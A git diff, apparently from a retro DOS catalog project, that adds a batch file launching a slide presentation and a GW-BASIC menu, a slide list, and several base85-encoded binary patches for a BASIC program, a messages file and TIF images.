zEN)DDNamaS3&uCEx|;iTLu1=d&?Fl&PV=LjdaATlJ0dCLjAH}7W#tzM?`S))$nUJ2 z_C3h(!MSSc`nI1hQnNhefu?B#Lc-&<6mWanFL0>Tc9gS^#mhEg84(iS9%jlL;NiB{ zRZvU=O=_SRS3y5*dq)KYHPBWK6x2Yc+J3EqWDS(nK(Yo})c#u)|zz!Wt;Afx;T7&VIEDN@<`e4V2PAZo5wfB{fi410^-kT6;hRtt1^T z=uRUf>=9MCN);ZhgWK<HNtk;S=>xwr@84idGmmz}@z|;XBN9TOB-L-(lFt!l6V` zf*;twWjM%qoO}8$9`29EZs8ttGrVMfz);P(?bREBc`3YUf5fnhNfiq^_Jtq0Ebb2x z{vY=58|HQ~q_8k4QN5Gkey7i*6aLr!v|(-!0-&ekd9+izwNyr&I4sj41M~fWM)$q} z5*>#O$C%c+N4fsw5uhcBoT7O`HXFJ}cdC~3}C?Y-|>;*B^s!`^AjA0 z+2%1X#c&W4r$s6v;q}WOme{2!=Fwr@{CjJFP?lW-=Jzn$8v@PKyiR`p$Oa zJ@A!IX7ueliSrjx7jSpyuu<2I2v>B1m$R7LvPnAJDPPDrOtHLAd25|uV zxNE2Jh>vFUQs&Hcef#q^$I`u5nR=Zeq3*|w(>xIhrX&`|!G$7$kYDnLq7fWjOpYf* z5jm2S6C6EObr92IMu>JlX*>eAc0X&>_N3Vi-|2plOb$ho@n|5G@JlQb9a|TdahAi? z`SUUE!HR(7hUdDE82xcMTA@GUs1b6-3(@&b7~w$oF(Wy5py!0~UX9p~Q=U?(J&Hq* zpvB=(5|&cA*k{7XYHX?1nzo{e=ZIW==!%?>K zY8D6uL+B_z?or0#gmlkoV=Zz8Gjqf#stbYje$Z=;A%%%BqeXa zD4{w#`2pndx9Qb_ZMQ=tGJ zbk%OoFB0ASv^QLbZh*Vx=e-;1?tx$S-d1-6D!tq4j;S|bWYJDG7`hLL;_dA{=P+JXjx9krpSrx3{s%XeAgZhh% zQ@Yj+(4I&PdzLLmaFvT*=JT;xczT&_VM1XU{KGPbN}<_s5ydQgvdpD2RQpz5v`_6x zCUvq^8eetj!a(&4M%WEiwyNc%)IO@skgdc4`F4TPF)8y1%kwHZzqij%VTKzFleqEL>1!E{`R& zT6IpVs(IlXeGjQXj4u8V21F?KJz77v8>ai7s6XP{rzKukB&Ex6Xe<^FjfLXytG;LI zakng1ZfG)<$EHf-UWTSb!xj*4Uxj(&CkBNxZM)Mlo6K`@-Foe}@3+2Vh26&X8s#o6rk)N%{ z2yXM?v67!Guk>-Yi$zn(SSm?rEGnk)kB6dBw|fom<08)4-0&g)UHuH>XU-_jcZPoW zDxUC#{y!>8VZ8>+evMr%qv4 zs`AwA8PuJDZ}xLVsScdj>6M=Fc)y2~ig_fd{bu1n|FxuiProxt-YGV8{i@R(-tNCq z;jJ~PzQJt&Xv1Fk_x@x9X2fUf;rIQwHY8*}om~|Rv^Z~Xc#u`UF>h8bsW9Ly>J(O0 zfi;P>&bxF9o2tOV#75_RIt5*bi3+O|lg{tz6z!@4OB8#YkLwha=u?Y0mWQ2B=@cER z0!tPzIe(&4bgGIdR*aknbc!xjfhCNOoWIa1Fvn0j!CFSs!0UQVv#P=DrFg5Vo2Ff$YOT)3`XS~!xUWysYd@oJAVc)>VNU5drXU#pxi7U0b z34T0qUe_7jkY@O3N)A$T^3K4VPDjf#!!gD1%L)45B1}#(bx+DSCvj@d4>UE_mY5c7 zhGQJUyB-nQ1}!=*t=bHi$5LU1hQsQ?9-W>RZ-)D&cu>=41_yO|T0>z7c0iW_v_gz* z9j1)|2^a9;!K-y}TG<(nDK&Yc6c14;E{Qp3%Ace`VC{U+r-RdaWAD+J$iF$991Q5R zwCFQjspv7+ofwG`$x$P z-_T~go*ZI^i(D87MS$E;UJoF@xM&(Mm-S=fAHnMbI?K?GM(wKq{Lr@=h2!8K>!rMh zid6m9i@e9;hS!E3Xsl)1)jGlHq3<_p`C_#iaAD}_#>-X%zTkSkQK<$DyAI)SE~*B+ z(x_Df8X@X>1py0P{RIg9cd`lYbiIin{EtDL4W08>@2c8u-U1K1-bJMPeb(HI4U{eL zxa<8!$}NBB`bbO?{LJ&wM%_Jch+n|yG*w?z~8z5kE{`^wa|&Q;A)xs z+_btyrKE$Eg@o`ekJ(X8?c06oO~^q9n+m~FCRJ#BGwh9a_nN8@XT?Wu1OMhWG~v;T zX*U%#!c5+pQRGZ>nB#nW?=AzBJ65@PNh| z$d`wQo9=<=@am@dHITc9*Xk^b6{d3ad^GnwE20(WlAQ0KOC=_W{Nk# zZ-&3xgzj^;zUpbMK3rfdbySA8prx>UvME>zip34$UGzA4O9hKn*5x~qDOjO!O8$YO z!R6l;A_|-6K_vR}^1W3NPQYVLv@Q0+*OoulbP2zs-eJe`nWlw&5AIt2WYb;%=<51^ Dk@s)7 literal 0 HcmV?d00001 diff --git a/EXE/catalog/LISTA.BAT b/EXE/catalog/LISTA.BAT new file mode 100644 index 0000000..c921793 --- /dev/null +++ b/EXE/catalog/LISTA.BAT @@ -0,0 +1,2 @@ +SLIDE PRESENT +GW MAINMENU diff --git a/EXE/catalog/MAINMENU.BAS b/EXE/catalog/MAINMENU.BAS new file mode 100644 index 0000000000000000000000000000000000000000..98883f88086341ae848917639b09089012d55872 GIT binary patch literal 8632 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 literal 0 HcmV?d00001 diff --git a/EXE/catalog/MENSAJES b/EXE/catalog/MENSAJES new file mode 100644 index 0000000000000000000000000000000000000000..be6742c510971eb804fe8e56e834f4ee56851fc5 GIT binary patch literal 150 zcmY#2tpEO>@uT|R|4faF^+56=WBuL#U;eX9@|onbA1L)^^56fAECPT2Gksuz$Q)2O zpl}~3^WfmW|4jcB8vp!f{Gf0Lq(`Vts7)Ry^Gp~d!ypXO#9$9LPD4mTNFONmNdqYL eM}Z$G^+Q1(EY-E8YfC>+>Pr_;>X%4APznHSNmhCQ literal 0 HcmV?d00001 diff --git a/EXE/catalog/PRESENT b/EXE/catalog/PRESENT new file mode 100644 index 0000000..8e5080c --- /dev/null +++ b/EXE/catalog/PRESENT @@ -0,0 +1,6 @@ +PRESENT1 2 +PRESENT2 2 +PRESENT3 2 +PRESENT4 2 +PRESENT5 3 +PAUSE diff --git a/EXE/catalog/PRESENT1.TIF b/EXE/catalog/PRESENT1.TIF new file mode 100644 index 0000000000000000000000000000000000000000..8fba85949d72d2b9e29796f34677aab099bae4b5 GIT binary patch literal 2731 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 literal 0 HcmV?d00001 diff --git a/EXE/catalog/PRESENT3.TIF b/EXE/catalog/PRESENT3.TIF new file mode 100644 index 0000000000000000000000000000000000000000..3cb32d1d9dfd2004764439a56e458b9ff109ba89 GIT binary patch literal 4598 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 RtM=RY-S0HyZ>i;n^k0oq2$}!@ literal 0 HcmV?d00001 diff --git a/EXE/catalog/PRESENT4.TIF b/EXE/catalog/PRESENT4.TIF new file mode 100644 index 0000000000000000000000000000000000000000..6aeff348f6a11f8dc7e2bdba83f926dd655d89a2 GIT binary patch literal 4792 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 